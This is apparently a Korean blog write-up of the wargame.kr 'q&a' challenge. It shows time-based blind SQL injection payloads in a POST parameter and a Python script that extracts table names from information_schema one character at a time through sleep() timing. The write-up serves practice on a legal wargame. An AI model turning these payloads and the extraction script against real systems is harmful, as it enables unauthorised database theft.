webhacking/sql, sql injection

wargame.kr q&a

qkqhxla1 2014. 10. 6. 17:49

뭔가 되게 페이지는 열심히 만드신거같은데 취약점 찾기가 쉬웠다는 ㅠㅠㅠ..


들어가기전 시간 기반 인젝션이라는 힌트가 있고, 들어가서 탭 하나하나 눌러보면


주석에 힌트로 xss문제가 아니라 sqli문제라고도 써있음. 다들 일반적인 자바스크립트 동작들...


jsmaster에게 메일을 보내는게 있는데 당연히 여기가 취약...  


메일을 보내게되면 패킷을 잡아보면 post방식으로 이런 데이터가 가는데...


cont=sdfsfsfsdfsdf&mail=sdfsdfsdfsdf&type=1  type에 따라 q&a인지 free인지 구별을 


하게해놓았지만 여기 뒤에 인젝션이 가능....  &type=1 and if(1=1,sleep(3),1) 이런식으로 여러번 


해보면 3초 멈추는걸 확인 가능.. 


cont=sdfsfsfsdfsdf&mail=sdfsdfsdfsdf&type=1 and if(( select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database() )=32,sleep(3),1)


import urllib2,time

answer = ''
for i in range(1,30):
    for j in range(32,128):
        print i,j,answer
        start = time.time()
        req = urllib2.Request('http://wargame.kr:8080/qna/?page=to_jsmaster',\
                              'cont=sdfsfsfsdfsdf&mail=sdfsdfsdfsdf&type=1 and if(( select ascii(substr(group_concat(table_name),'+str(i)+\
                              ',1)) from information_schema.tables where table_schema=database() )='+str(j)+',sleep(3),1)')
        req.add_header('cookie','ci_session=세션')
        read = urllib2.urlopen(req).read()
        if time.time() - start > 3:
            answer += chr(j)
            break

print answer


이제 information_schema 보기도 지겹다. table_name = authkey


cont=sdfsfsfsdfsdf&mail=sdfsdfsdfsdf&type=1 and if(( select ascii(substr(group_concat(column_name),1,1)) from information_schema.columns where table_name=0x617574686b6579 )=32,sleep(3),1)


컬럼 네임도 authkey. 앞과 동일하게 값도 뽑으면 답이 나옴....

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 21  (0) 2014.10.23
wargame.kr counting_query  (0) 2014.10.15
wargame.kr ip_log_table  (0) 2014.10.06
wargame.kr web_chatting  (0) 2014.10.06
wargame.kr tmitter  (0) 2014.10.04